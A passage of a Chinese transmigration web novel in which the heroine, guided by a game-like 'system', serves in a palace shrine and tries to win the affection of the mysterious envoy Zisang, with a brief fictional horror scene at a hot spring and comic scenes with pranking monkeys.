她在水中挣扎哀求,肩上薄纱被水浸湿紧紧贴在身上将曼妙婀娜的曲线暴露无遗,更显妖娆可怜,声音湿腻。
“大人,神使大人救我......”
子桑早已站在温泉池岸上,一只猴子一手抓着藤蔓荡来,两脚跳地落在少年身前,嘻嘻哈哈地捧上浴袍。
赫然是方才在舞女身后做鬼脸的“怪物”。
子桑披上浴袍,黑如亮缎的长发沾染水汽,丝丝缕缕的水滴顺着发稍滴下,在长袍上曲折爬行,将原本淡雅的竹绿长袍晕出一团一团浓郁阴湿的绿。
子桑偏头瞧了眼水中娇艳欲滴的美人,勾唇一笑,眼中潋滟流光恍若诡谲星辰,又仿佛只是顽劣孩童的狡猾一计。
“温泉水软,好好享受。”
舞女并不明白他的意思,然而下一刻,疼痛骤起,她感到整个人拦腰被一股大力扯入水中,世界颠倒,星斗不分。
一瞬间,女人苍恐的尖叫声,扑腾挣扎的落水声,瘆人恐惧的咀嚼声在雾气中扭成一团,很快,尖叫声便弱了下去,像是砸入无尽深渊的石子没有回声。
水面下一团黑影游蛇般悄无声息划过,唯余温热泉水中冒出的咕噜噜的血泡将白雾染成了血色殷红,仿佛一朵倏忽炸开的牡丹花。
猴子一蹦一跳跟在子桑身边,双手高举前摇后摆,叽叽咕咕怪笑着似乎在邀功。
子桑悠悠走出温泉场,轻手给了它一巴掌:“收拾干净,若明日沐浴时有一丝脏东西,扒了你的猴皮做凳子。”
猴子委屈地摸了摸脸,又并手并脚地飞跑回去,掐腰怪叫一声引来数十只猴子从藤蔓一跃而下,扛起扫帚和拖把殷勤地打扫温泉。
皎皎月色下,从高空而望,繁华庞大宫殿中的这座温泉池,像是一颗硕大的红宝石,漾着蛊惑人心的血色浪漫。
4. 第 4 章
一夜好梦
赵玉屿伸了个懒腰,精神抖擞的起床。
她昨日睡得早,今晨起得也早。
推开窗户见四周一片清暗,太阳尚未升起,院里其他人都还没醒,赵玉屿便想着先去洗个澡。
昨日太困,倒头便睡着了,不洗澡没换衣服身上便觉得难受得紧。
昨天跟小厮打探时,她知晓奉仙宫北侧有专门用来泡澡的温泉。
除了主泉是专门供给子桑神使使用外,有单独的小温泉供给神侍们使用。
按照她现如今的身份,可以使用单独隔出的小温泉房,也算是一大福利。
赵玉屿抱着昨日李嬷嬷给他们发的新衣服一路摸索着找到温泉池。
路过主泉池附近的鹅卵石路时,忽然看到竹阶下似乎有黄灿灿的反光,在白青相间的路面很是扎眼。
她一时好奇走过去,从台阶下捡起一瞧,是个精致小巧的金铃,看着有些眼熟。
赵玉屿思索片刻,想起昨日在大殿上付楚袅跳舞时腰间和脚踝系着的铃铛,跟手中这个倒是挺像。
许是昨日她来泡澡时落下了。
赵玉屿将金铃收起来,想等见到付楚袅时还给她。
没想到等她泡完澡回到住宿的小院时,就见张嬷嬷正使唤着几个侍女将付楚袅屋子里的东西都收拾了出来。
赵玉屿好奇道:“张嬷嬷,这是怎么了?”
见是赵玉屿,张嬷嬷笑着寒暄:“赵姑娘起这么早啊。”
“早上身子不爽,去温泉池泡了个澡精神些。张嬷嬷,您怎么把付姐姐的东西都搬出来了。”
张嬷嬷面不改色依旧含笑:“付姑娘福气薄犯了诸天上神忌讳,按照规矩被禁足于后山石牢面壁思过。”
“那要多久才能回来?”
张嬷嬷温声:“这就得看诸天上神之意了。”
诸天上神,那不就是看子桑的意思吗。
看来付楚袅是得罪了子桑被罚了。
可瞧着这大大小小的东西往外搬,大有将付楚袅所有东西都搬出去的架势,怕是她这辈子都回不来了。
赵玉屿奇怪得很,这些姑娘都是在奉仙宫学习过三年礼仪规矩的,怎么会轻易犯错呢。
而且是在子桑回来第一天便被重罚。
她回到屋中,坐在床沿里从荷包中掏出捡到的金铃思索。
这是在主泉附近的竹阶下捡到的,难不成是昨晚主泉那发生了什么让子桑生气?
可原著里子桑脾气向来很好,对待下人温和宽厚,不会因为一点小事就大动干戈的呀。
思索半晌却无所得,赵玉屿心中求问。
“系统,你知道发生什么了吗?”
【抱歉宿主,系统已经绑定您,无法知晓其他事情。而且系统很忙的,各个世界都需要系统维持平衡,有时无法及时回复还请宿主见谅。】
“......好吧。”
赵玉屿心中吐槽,怎么这系统跟某鹅客服一样,售前殷勤,售后无情。
本来以为能开个天眼,现在看来还得靠自己。
她叹了口气,将铃铛放在首饰盒里收好,不管怎么样以后行事还得小心些。
只是距离男女主相遇只剩下几个月,子桑如今也已经十九岁,就算她能够成功阻止子桑为救人而死,但他满打满算也就一年性命可活。
还是得尽快熟悉一切,然后找机会接近子桑,刷满好感度,拯救好大儿。
然而天不遂人愿,俗话说有钱能使鬼推磨,无钱鬼都不开门。
即便是成为内殿侍女,面上虽平等,实际也分等级。
先前各家姑娘都是打点过奉仙宫上上下下,如宋解环这等高官之女更是有钱。
张嬷嬷收过她不少好处,付楚袅离开后,内殿侍女只剩下宋解环和赵玉屿两人,张嬷嬷自然有好事先想着宋解环。
宋解环顺理成章成为了子桑的贴身侍女,留在他身边侍奉。
而赵玉屿穷鬼一个,没钱也没人,被安排得尽是些抄书女红等杂活。
对于古代贵女来说,针织女红是基本功,赵玉屿平日里喜欢手作,针织功夫虽然比不上专业师傅倒是也不算弱,可她也不想成天苦哈哈地给男人缝裤衩。
赵玉屿叹了口气,将布料一丢,打算先抄经书吧。
结果书法实非她所长,看着纸上歪歪扭扭的字迹,必定会被李嬷嬷骂得狗血淋头。
算是还是缝裤衩吧,好歹是她特长,上手快些。
若是来打工,那赵玉屿还是很乐意当条躺平的咸鱼,抄抄书做做手工不用动脑子还能修身养性,但她可是肩负使命来拯救世界,助力女鹅脱离苦海,拯救乖宝好大儿性命的,怎么能是一条不思进取的咸鱼呢?!
一想到这里,赵玉屿瞬间燃起斗志,拿起手中的针线活开干。
不出半晌裤衩便缝好了,赵玉屿瞧着月光白玉般的衣料光泽,琢磨片刻。
虽然见不到子桑的面,但她做的针线活都是子桑的贴身物件,若是能出新意让子桑瞧见,也能刷波好感度。
她思忖了会,捏起绣花针在缝好的裤衩上绣了只胖乎乎的小狐狸,这狐狸栩栩如生胖如肥狗,煞是可爱。
赵玉屿满意极了,又在另外一块布料上绣了只抱竹子的熊猫。
等到将所有的布料都绣上各色各样的Q版小动物后已是深夜,赵玉屿揉了揉发涩的眼睛,放下布料正打算去休息,突然听到屋外传来些动静,似乎是仓促踉跄的脚步声。
她起身贴在窗户上,悄悄打开一条缝隙朝外望去,就见昏黑的月色下,一道熟悉的窈窕身影惊恐仓促地朝院内跑来,似乎在躲避什么。
慌忙间,她平地摔倒,膝盖磕在地上半晌没爬起来,只在那哭。
这不是宋解环吗?
赵玉屿张望了会,见院外并无人追来,而宋解环只趴在地上哭半晌起不来,似乎是吓坏了,连忙推开门跑到院中扶起宋解环。
“宋姐姐,你这是怎么了?”
宋解环被她触碰到的那一刻猛地打了个寒颤,条件反射将她推开。
人在极度惊恐时力气会控制不住的骤然增大,赵玉屿一时不慎被推倒在地,划伤了手。
见是她,宋解环才缓过神来,连忙扶起她道歉:“对不起,你有没有摔着,我,我不是故意的。”
两人相互搀扶着站起身,赵玉屿拍了拍身上的灰土:“没什么大事,就是破了点皮。倒是你,怎么慌慌张张的?”
见宋解环神色未定,赵玉屿道:“要不去我那坐坐?”
听她邀请,宋解环顿时小鸡啄米般点头,生怕赵玉屿反悔留她一个人。
*
细铜签轻轻拨开烛蜡发出噼里啪啦的
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微响,将房中原本黯淡的屏上绣鸟再次照亮。
昏黄的暗光映照在两人脸上,勾勒出模糊的轮廓,夜深惊鸟,风吹烛火缓缓飘动,投射在屏风上如同鬼影招手,枯枝摇曳。
那绣鸟恰巧落在烛影鬼爪之上,昏暗光线下似乎随着枯枝一起摇动,气氛诡异而暧昧。
“你是说,看到了一只怪物?”
宋解环双手抱着热乎乎的茶水喝一些才压下惊,点头道:“没错,那怪物三个头六只手,有一人高,张牙舞爪发出怪叫,很是吓人!”
她虽为神使的贴身侍女,但实际上也只是看管内殿。
今日按例检查完鹤羽阁的事宜后,神使尚未归殿,见内殿窗扇未关,她担心夜晚起风,便走过去将窗户关上。
谁知忽然感到寒毛耸立,身后似乎有异动。
她心跳如雷,一时不敢妄动,从她的角度恰巧可以瞥见一旁的立镜,昏暗光影下就见身后站着一个一人高的怪物。
那怪物黑手黑脚,胳膊瘦细如柴,五指成爪,双眼如炬,目露凶光,尖叫声似雷电轰鸣,又似婴儿啼哭。
回忆起那怪物,宋解环面色苍白,忍不住哭了出来。
“我太害怕了,也管不得其他就从殿里逃了出来一路跑回来。我之前就听说这奉仙宫常出怪事,以前还不相信,如今看来这里真的有怪物。那付楚袅一定就是被怪物给害了,不然怎么会正巧她值班的第一天犯了错,再也没见过她!”
三头六臂?
赵玉屿摸了摸下巴,哪吒吗?
没听说这是本奇幻小说啊。
她心中召唤出系统:系统,啥情况,这个世界有神鬼设定吗?
【宿主脑洞不要太大啦。】
赵玉屿撇了撇嘴:我都能穿越了,还有啥脑洞不能实现。
不过话虽如此,她也是不相信有什么三头六臂的怪物。
宋解环到底才十五六岁的年纪,许是太害怕了,还在哭诉。
赵玉屿这才知道,原来宋解环的青梅竹马战死沙场,她想要为其守节,可她爹礼部尚书却想将她嫁给宋小侯爷联姻。
宋解环为了逃避嫁人自愿入奉仙宫成为侍女躲了三年,一心留下来侍奉上清诸神,终身不嫁。
原本以为以后的日子便是如此,却没想到这奉仙宫也是龙潭虎穴,居然有怪物作祟,怕是命不休矣。
“玉儿,咱们不会就命丧于此吧。”
这整个奉仙宫如今便是她们两个人最亲近,宋解环拉着赵玉屿的袖子哭道。
赵玉屿握住她的手安抚:“你莫怕,我瞧你神色不太好,要不这些日子你先休息,我帮你值班吧。”
宋解环有些犹豫:“可是你不害怕吗?”
“我从小胆子大,而且我可不信怪物之说,更不信在奉仙宫能有怪物敢作祟,想来是有人恶作剧,我去把它揪出来!”
赵玉屿摇头笑道,“再说了,班总是要值的,正好我的字写得不好看,张嬷嬷给我安排好些经书抄写,李嬷嬷又嫌我抄得丑,我手都快断了都没写完,咱们就当是换班,这些日子你就安心休息,帮我抄书如何?”
宋解环最终点头应下:“那,那谢谢你了。”
赵玉屿两眼弯弯笑眯眯:“我还要谢谢你帮我抄书呢!”
她正愁没机会接近子桑,如今也算是成人之美,互惠双赢。
5. 第 5 章
第二日清晨
李嬷嬷按例早起审查奉仙宫各处事宜。
这么多年,她日日如此,即便已经成为了奉仙宫一人之下的掌宫嬷嬷也依旧没有改变。
刚入偏殿,便听到一声含着笑意与朝气的清悦声音:“李嬷嬷早啊。”
李嬷嬷循声望去,入眼是一张娇俏银月般的讨喜笑脸。
“今日怎么是你当值?”
赵玉屿将手中新做好的衣物放入紫檀木篮中答道:“宋姐姐这几日受了风寒不宜照顾神使大人左右,便让我代她些日子。”
李嬷嬷见状并不言它,差人将衣物送入殿中。
神使每日早起都要焚香沐浴,更衣梳发,得一个时辰才用膳。
赵玉屿见衣服送入殿内,朝李嬷嬷规规矩矩行了一礼后便去看管厨房做早膳。
李嬷嬷跟在她身后却并不进厨房,而是站在门外观察。
见赵玉屿有条不絮指挥各人,对糕点,摆盘,冷热排序皆有门道,略微颔首。
这姑娘虽是第一日当值,倒是应对自如,大方得体,不见丝毫畏缩胆怯。
往日赵玉在一众侍女中并不突出,更多时候都是一个人安静的待在角落里,是最容易被忽略的那种人。
虽性情有些变化,李嬷嬷倒不以为意。隐藏自己的实力,一鸣惊人者自古有之,更何况这里是奉仙宫,想要犯事,得有胆子,还得有能力。
然而还未等她离开,有主殿神侍匆匆跑来,李嬷嬷习以为常,缓声道。
“又惹神使大人动怒了。”
神使的脾气向来不算好,本来就有起床气,经常又因为穿着打扮不合心意而动怒,这时候望风的神侍便会跑来通报她,请求她去平息。
李嬷嬷已经准备抬步前去正殿,却没想到那神侍摇头道:“神使大人召赵姑娘入殿。”
李嬷嬷脚下微顿,这些年还从未见神使有主动召谁入内殿。
那神侍见李嬷嬷也诧异,靠近一步低声道:“听内殿的神侍说,神使沐浴后瞧见李姑娘送来的衣服似乎神色不悦,这才召她入殿审问。”
李嬷嬷问道:“衣服有什么问题吗?”
报信的神侍摇了摇头:“倒也没什么,只是绣了些东西。”
李嬷嬷听到这话,以为绣的是些少女心思,偏头瞧了一眼屋里正热火朝天指挥着厨师备菜,还不知晓自己大祸临头的赵玉屿,叹了口气。
总有些不知天高地厚的丫头。
*
“这位小哥,您知道神使唤我所为何事吗?”
赵玉屿跟随着报信的神侍而行,套近乎笑问道。
那神侍听到这话瞧了她一眼。
多漂亮的姑娘,干事又利落,可惜了。
他虽并未说话,可那眼中充斥的悲悯和怜惜,瞧得赵玉屿头皮发麻。
她脸上的笑容有些僵,很识趣地将手腕上的手镯褪下塞到神侍手中。
“小哥,您是神使大人的主殿神侍,自然是比我这种初来乍到的消息要灵通些,还请小哥给点提示,等见了神使大人我也好有些准备。”
神侍瞧了瞧镯子的成色,低声道:“入了殿内谨言慎行,神使问什么你便答什么,不要多说,也不能少说。”
这话说了跟没说一样,赵玉屿瞧着已经被他塞入怀中的玉镯子,心在滴血,这可是她唯一的一只玉镯了。
赵玉屿还想套些话,然而神侍眼观鼻息不再理会。
两人一前一后到了主殿,神侍将赵玉屿带入殿内后便自行退出大殿。
吱嘎声响起,高大的殿门缓缓合上,苍白的日光透过高门上的道道白纱糊格照射入房中,像是断头台上锃然亮起的锋刀。
方才神侍的态度让她心中有些忐忑,四下观察。
这主殿极大而空洞,仙鹤盘柱,祥云顶梁,殿中心立着一座青铜云形鸟纹双耳三角兽蹄四方鼎,大鼎上三角云纹为底,鹤首翘尾,跃跃欲飞,鼎四面雕刻各种神兽,栩栩如生,状若共奉仙鹤。
迎面拾阶而上,正高处摆放一张雪狐绒皮长座椅;大殿左侧,一排青铜勾鑃濯濯独立。
神殿庄严肃穆,赵玉屿本就对规矩不熟,担心同付楚袅一样一个不小心就犯了忌讳被罚,不敢轻动,见久久没人召唤,又站得有些累,索性对着高阶跪下摆好拜见的姿势,实则放空思绪休息。
许久,右侧内殿透过层层玉翠珠帘传来一道召唤。
“进来吧。”
赵玉屿连忙起身揉了揉腿,撩起珠帘朝内殿走去。
她全程垂首,不敢四处张望,眼见地面羊绒方纹长毯上压着的四脚雕花长凳旁露出一双白底皂靴。
赵玉屿顿时跪拜行了一叩首大礼:“拜见神使大人。”
头顶上方传来不紧不慢的一声敷衍轻嗯,又像是饱含着懒散嘲弄的一道嗤笑。
“方才外面无人,为何要跪?”
赵玉屿恳切答道:“身处神殿,天道威压,凡尘之躯自觉惶恐,即便不见神使之容,依旧敬畏。情不自禁,还望神使见笑。”
又是一道轻笑,不过这声笑虽明摆着满是讥讽,却多了丝兴趣生气。
“哦?看起来你是个谨小慎微之人,既然惶恐,又有何胆子在这衣服上绣上图案。”
一道衣料丢在她怀中,赵玉屿拿起一看,正是她今早呈上的亵裤。
上面胖乎乎的熊猫正啃着竹子憨态可掬。
多可爱!
见子桑兴师问罪,赵玉屿试探问道。
“神使大人不喜欢吗?”
“怎么,本尊应当喜欢吗?”
赵玉屿深知这是道关键题,如果答好了便能增加印象分,让子桑记住她这个人;如果答不好,便是亵渎神使,大不敬,说不定就跟付楚袅一样被罚守后山不见人影。
她深吸一口气,让敲鼓的心脏平稳下来,神色庄重娓娓道。
“那日小女在鹤羽阁见神使神色恹恹,似是烦闷无聊,又见神使抚摸怀中奇珍异兽,细想之下,神使乃仙族之子,有驭兽之能,想来于鸟兽甚为亲近喜爱,所以便斗胆献丑博神使一笑。”
“你就不怕聪明反被聪明误,被治个藐视神威之罪。”
赵玉屿顿时大拜一礼表忠心:“神使为天下操劳,呕心沥血,疲心竭虑,若能博神使一笑,小女的性命算什么!”
子桑听到这话瞥了她一眼,鼻子一哼,
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语气似是怪异又讥讽,瓮声瓮气道:“也算心思细腻,忠心可鉴。”
“抬头。”
赵玉屿顺从地直起身子,抬眼望去。
顺着她的视线缓缓向上,映入眼帘的,是一件垂地青袍,长袍里只着一件白色丝绸交衣,乌墨润泽的长发披在身前,发丝蜿蜒缠绕,同月白交领相映成辉,如同皑皑大雪中泼墨成溪。
交领其下露出修长的脖颈,少年的喉结青涩而明显,再往上,是一张酝着淡漠、泠然、些许阴翳的少年气的脸。
虽然眼底波澜不惊,状若无物,甚至有些厌世的孤冷,但尚未完全褪去婴儿肥的脸平添了一丝稚嫩,将他从与世隔绝的高山之岭拉入凡尘。
“我记得你。”
子桑忽然出言,却又不再多说,只懒懒道:“起来吧,帮我梳头。”
“是。”
赵玉屿起身恭敬走到他身后,却细细观察并未即刻动手。
子桑面前的梳妆桌上摆着一面玻璃圆镜,正能瞧见赵玉屿的一举一动,他抬了抬眼:“怎么不动手。”
赵玉屿笑道:“小女是在想,神使大人有何想要做的发型吗?”
子桑捏起桌上的鹤羽耳挂把玩:“随意。”
赵玉屿瞧见他手中黑白相间的翎羽忽来灵感,打算放手一搏。
她粲然一笑,熟练地分编盘发,很快便束起一个高马尾。
但这马尾不似寻常圆润而下,而是将两侧头发挑出一缕梳成发辫缠在马尾上,再用扁平银冠撑起,墨发从扁冠中抽出而落,更显高挑。
赵玉屿将鹤羽耳挂略加修改,两个耳挂合二为一别在银冠上,如同飞展绮翼,精巧别致。
她为子桑挑了件月白长袍,用镂空黑皮嵌银纹环相连的腰带系在腰间,又将原本的紫珠鹤羽披肩索性拆开成两半,各用银环绣线扣在两侧肩膀上围圈垂下,露出白色高领和修长脖颈的同时,增加肩宽却不显臃肿。
赵玉屿瞧了瞧子桑的打扮,总觉得少了些什么,手头的东西太少,她想再配些其他的装扮,瞧见桌上错落摆放的几个梳妆匣便索性都打开挑选。
拉开梳妆匣的一瞬,差点被闪花眼。
金、银、玉、石,耳挂、璎珞、手串、扳指应有尽有,分门别类整齐摆放。
看得赵玉屿艳羡不已,差点流出口水。
这些可都是真家伙,那成色那光泽,可比她平日里做得手作精致多了。
赵玉屿颤抖的双手都想摸一摸,最终挑了一个红玉手串拆开,再用银丝串起,掩于墨发,坠于额头中央,又挑了一个红宝石耳挂别于左耳后。
这几抹红意点缀,原本冷淡的装扮顿觉鲜亮却不掩清傲。
再将两个羽形银片简单绣于黑靴,宛若鞋上飞翅。
梳妆既罢,子桑立于长镜前观赏,长身玉立,羽披似雪,鹤冠高悬,红玉如顶,濯濯独立。
赵玉屿瞧着子桑满意的神色,在一旁不遗余力地拍马屁:“神使大人真乃天人之貌,鹤羽之姿,简直就是神仙下凡,万丈光芒,夺目耀眼!”
子桑左右瞧了瞧,唇角轻扬:“还算手巧。”
【温馨提示:攻略对象好感度15%】
6. 第 6 章
从寝殿出来后赵玉屿还有些懵。
这就攻略值上升5%了?
也太简单了点吧。
【恭喜宿主,再接再厉哦~】
赵玉屿却并没有任务顺利进展中的那么兴奋。
如果说初见的惊艳掩盖了异样,那之后子桑在大殿选拔时的所为,付楚袅的失踪,还有今日他在神殿内说话时轻渺不屑的语气腔调,一点一滴,都让赵玉屿觉得子桑和她想象中的不太一样。
虽然外貌泠然谪仙,可眼底的阴翳厌世不是作假。
“系统,你不觉得,这个子桑有点奇怪吗?”
【系统并未检测出攻略对象有何异样。】
“可我总觉得他看起来并不是原著中所说的那么温润纯良,善解人意。”
【亲爱的宿主,文字所展示的故事永远只是从浩浩世界撕下的一片遮云中窥探到的一角藩篱。您可以理解为一段简史,在故事之外,世界会以原著文字为蓝本构筑出完整的历史,而每一个人物都有自己的情绪和行为,自然不会只是文字中的扁平和简短。】
“构筑出完整的历史,有过去,有现在,还会自动延伸出未来。”
【没错,宿主。】
“那这么说,这里和真实的世界没有区别啊。”
【没错,宿主,这里就是真实的世界,只是不是您所在的那个世界。】
这个回答,让赵玉屿一瞬间犹如从过山车的峰顶呼啸而下,说不清的滋味。
她走到长廊的正中间,望向檐外的灼灼阳光。
已近正午,日头高升,强烈的日光照射在草地上、池塘中、花丛里,亮白的光照耀得人睁不开眼,却在穿透长廊时被屋檐一分为二,一半灼热,一半阴凉。长风贯廊拂面吹过,檐角风铃叮叮作响,恍惚间让赵玉屿忆起小时候大街小巷中时常响起的自行车铃声。
一时分不清是在梦中还是现实。
原本她只觉得这是一场游戏,里面的人物都是游戏中的NPC,而她只要完成任务就可以HAPPYENDING,可现如今却猛然发现这里的一草一木都是真实存在的。
那她的世界是自然而生的,还是只是某个白痴作者笔下的一抹色彩延续?
她自己又是不是真实的呢,还是只是忙忙碌碌存在于世的NPC?
赵玉屿忽然觉得自己发现了世界的奥秘。
不愧是她!
赵玉屿很快便恢复了精神,望着满地繁花灿然一笑。
真实也好,虚幻也罢,反正最后归宿都是化为一抔黄土,与万物融为一体。
主角和NPC说到底除了经历不跌宕一些,结局都一样,而且他们只有一条命,自己现在可是有两条命呢!
更何况比起绝大多数人,自己还能穿越时空,拯救世界,等事后深藏功与名,潇洒一笑孤身回到现实世界,简直帅呆了!
哪还有什么遗憾!
想到这里,赵玉屿兴高采烈的去厨房吩咐准备午膳。
众人见她被神使单独叫去,原本都以为她完蛋了,没想到她居然能完好无损的走出来,甚至一脸笑意,皆是诧异,就连李嬷嬷都有些讶然。
“神使大人差你入殿所为何事?”
赵玉屿恭敬笑道:“神使大人差我前去梳妆。李嬷嬷,若是无事我就先回房休息了。”
摘星宫的宫人们,除了值勤的宫人,其他人中午有一个时辰的午休时间。
赵玉屿回到房间却没有丝毫睡意,她趁热打铁复盘。
虽然如今同子桑仅仅有三面之缘,所得信息不算太多,但如果按照系统所说,这个世界是以原著小说为蓝本的延伸,那么虽然子桑和原著中有些不一样,但如同游戏角色的底层代码,子桑的底色一定是善良的。
还有一点也让她确认无疑。
神使子桑果然是个手办达人!
她想到在内殿看到的各色物件,皆是雕刻成各种动物形状,就连梳妆柜里的各色首饰盒,都是动物款式。
只可惜,虽然雕刻的小动物都惟妙惟俏,但只一味追求形似,没有卡通绘制的那种萌动感。
而她在布料上缝制的小动物都是Q版萌宠,子桑既然没有处罚她,说明甚是喜欢,只是表面矜持些。
赵玉屿一撩辫子,自信满满。
她可是手作达人!
这还不轻易拿下你个小样儿!
想到做到,赵玉屿立刻铺纸磨墨,一鼓作气在纸上画了一组Q版小狐狸,送到玉石坊找些上好的玉料打磨成手玩,再涂上颜料。
她又画了些首饰和衣物的图样,交给织锦司按样制作。
等交代好一切已经是午后,按照惯例,赵玉屿每日要去主殿巡视三遍,确保一切无恙。
算算时辰也到了,赵玉屿拿起小本子,本子里是宋解环昨晚给她恶补的知识,详细介绍了身为内殿女侍的职责和要求。
赵玉屿对照着上面的条例,将大殿各个角落都检查一遍,就连长明灯台上落下的一点灰烬都要确保处理干净,不得有一丝灰尘。
等她巡视完一遍后便快到傍晚,按规要去为神使准备晚膳。
刚打算走出大殿,忽而感到偏殿有风贯堂而来。
赵玉屿转身望去,果见珠玉门帘垂垂微浮。
可她刚刚才检查过,里面窗户皆是关上的。
此时子桑也正在诸神殿祈福,偏殿不应有人才对。
想起昨夜宋解环惶恐的神色,赵玉屿思忖片刻,端起一座青铜烛台走进去。
若是有人装神弄鬼,她就一烛台抡死它。
偏殿是神使日常闲暇之余撰经之地,比起休息的内殿并不算大,但同她的房间比还是大了许多。
里面摆着笔墨纸砚桌椅和一张小榻。
一排仙鹤戏日雕花镂空窗整齐紧闭,唯有最角落的一扇窗户略微敞开,凉风习习透窗而来。
窗户外便是池塘,一面环水,假山隆起,寻常人若是要翻窗进来必定湿身,但地上未有水迹。
赵玉屿走上前关窗户,在窗户合拢的那刻,伴随着吱嘎轻响,忽而感到一股微热气息喷洒在她裸露在外的脖颈处,激得寒毛耸立,一阵鸡皮疙瘩。
她的角度虽然看不到身后,却可以看到白色墙壁上渐渐笼罩的阴影。
身后这人身高并不算高,却宽胖许多,此时正双臂张开犹如蝠翼将她的身形笼罩其中。
赵玉屿咽了咽口水,总觉得那双手就要掐住她的脖颈。
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她攥紧手中的烛台,一不做二不休,以迅雷之势朝后大力抡去。
“去你的!”
一声尖锐的惨叫炸起,随之而来的是烛台砸在重物上的闷响,和四散的叽咕怪叫。
赵玉屿定睛一看,就见一件黑色长袍从空中飘落,三只胖猴从长袍中飞窜而出,抓起珠帘荡起,见鬼一般头也不回仓皇而逃。
原来是猴子。
赵玉屿松了口气,放下烛台查看黑袍,就见那黑袍被挖了两个洞,恰好能露出一双眼睛。
这黑袍起伏,赵玉屿拍了拍,里面似乎还有什么软乎乎的东西,她撩开一瞧,嘿,躺了个昏死过去的胖猴子。
这猴子四肢瘦长,胸脯和肚子却圆鼓鼓,可见平日生活很是滋润。
赵玉屿戳了戳它的肚子,手感真不错!
猴大在昏迷中迷迷糊糊感觉有人在揉它肚子,昏昏沉沉间缓缓睁开眼睛,就见一黑袍怪物朝它迎面冲来,顿时惊得猴眼俱睁,弹跳三丈,尖声嘶叫。
然而它刚才被抡了一重台,胳膊和肚子巨疼,跃到一半就跌落在地,仓促间逃进了角落里,眼见那黑袍怪物在地上飞速逼近,只得猴爪捂眼,摇着头瑟瑟发抖。
“哈哈哈哈哈哈哈”
黑袍下忽而传来少女银铃般的笑声,赵玉屿一掀长袍,露出一张娇俏漂亮的脸蛋,因为笑得太欢乐,她的脸蛋红润,像是浸透了水的蜜桃。
见袍子下面是个姑娘,那猴子顿觉被耍,气得龇牙咧嘴凶神恶煞地恐吓,却被一手按住脖子抵在角落动弹不得。
看着抵在面前的烛台,猴大只觉得肚子和胳膊还在发疼,顿时双手举起投降。
猴大:乖巧.JPG
赵玉屿轻哼一声:“就是你们装神弄鬼吓唬人啊。”
躲在门帘后面探头窥视的三只猴子顿时吓得缩回头,猴大心虚地左顾右盼,朝她抱拳摇了摇手作揖。
“好吧,放了你也行,但是我得问你点问题。”赵玉屿捏了捏它软乎乎的脸蛋,“昨晚上就是你们吓唬人的吧。”
猴大连忙点头。
“那付楚袅也是因为你们装鬼吓人才坏了规矩被处罚的吗?”
猴大显然不知道她口中的付楚袅是谁,挠了挠脑袋。
赵玉屿算了算日子,比划道:“前天,在温泉池那里有个姑娘。”
猴大见她双手划水状,顿时想起来,手足舞蹈比划着那日的场景。
先是龇牙咧嘴的恐吓,然后做成捂嘴惊恐状跌跌撞撞向后倒地,一手向前拼命伸似是求救,最后一吐舌头歪头昏死。
赵玉屿大概看懂了,表情难以言喻:“你们把人给吓死了?!”
猴大得意一笑,双手掐腰自信点头。
赵玉屿:“......”
作孽啊。
好端端一个如花似玉的姑娘居然就这么被吓死了。
她伸手给了猴大一巴掌,猴大顿时气得要发飙,却瞧着抵在脸前的烛台再次屈服。
猴大:乖巧跪坐.JPG
珠帘外的三只猴子已经没眼看,朝它吐了口口水纷纷逃窜。
猴大内心酸苦,你们没看见这么大的灯台怼我脸上了吗!要你们来你们也得跪!
7. 第 7 章
赵玉屿倒是也没再为难它,起身放它离开。
猴大见她松了劲,顿时朝门外仓皇逃去,到了门口还不忘还给她一个凶神恶煞的表情。
赵玉屿朝它做了个鬼脸,作势扬手要追,吓得猴大连忙屁滚尿流,一溜烟跑没了影,再不敢回头。
很快,空荡寂寥的大殿只剩下赵玉屿一个人。
她将灯台放回原处,重新点燃蜡烛,整理好一切后神情自若的离开大殿。
虽然她对付楚袅的结局有些遗憾,但她总不能对一群猴子兴师问罪,也不可能拎着这猴子跑去找李嬷嬷评理,说一切罪责是这些恶劣的怪猴子干的。
更何况这猴子手舞足蹈半晌,她也只是勉强猜出大概发生的事情,跟死无对证没区别。
旁人怕是只会觉得她脑子有病。
而且,这些猴子能够在大殿内肆意横行,装神弄鬼,应该是神使子桑平日里养的那些动物之一,奉仙宫的人一向视其为神宠,即便知道是它们在作祟,也不敢怎么样。
否则付楚袅好端端一个内殿侍女,不会就那么轻而易举的消失,旁人却绝口不提。
这里是封建社会,一个人的性命,有时还比不上权贵豢养的一只猴子。
赵玉屿心中惋惜,却也更无可奈何。
她现在的感觉很微妙,她同付楚袅只有一面之缘,泛泛如萍水,也不知道付楚袅昨晚究竟发生了什么。
付楚袅的遭遇对她而言更像是隔着手机屏幕看网络上发生的故事,听人闲暇时谈起的八卦,或者说是通关游戏时一个一闪而过的NPC,究竟是隔着一层玻璃,没有代入感就没有太多的愤怒。
可赵玉屿心中还是觉得有些奇怪,付楚袅看起来也不像是那么胆小的人,怎么会就这样被吓死了?
不过这事一时摸不着头脑,她也不再去想。
赵玉屿倒不担心那些猴子去子桑或者李嬷嬷那里告她的状,猴子不会说话,这儿只有她一个人在,暴打猴头的事情不会有第二个人知晓,那几个猴子如何能告她的状?
再说,这些猴子平日里定是骄纵惯了,被个姑娘暴揍一顿,不怕丢人吗?
再不济,若真敢告她的状,她就索性装迷糊,说是当时太害怕了,只瞧见有鬼影便抡了一锤子过去,不知晓是神猴。就算被李嬷嬷惩罚打一顿,有系统奖励,她也总是可以保住这条命的。
完美!
复盘完所有的结果,赵玉屿觉得稳操胜券,信誓旦旦不会有事,离开大殿后便将方才殿内的一切抛之脑后,去厨房监管晚膳,又特意让大厨用萝卜雕了个仙鹤供桃装点主菜。
*
诸神殿内,三清上神慈眉善目的巨大神像垂眸而立,空洞的双眼俯瞰万物,悲喜不渡。其后,各座雕刻精美的神像置于雕空彩云石洞之中,层层叠叠直冲幽不见顶的九霄之外,如遇幻化仙境。
三清神像前,面若白玉的华服少年盘腿而坐,阖眸冥想。
然而他并非面向神像参拜,而是与神像同向,坐于瓣瓣莲花宝座中的金丝羊皮垂边紫珠大蒲垫上,如同众神所拥神祇天之骄子,孤傲于九天之外。
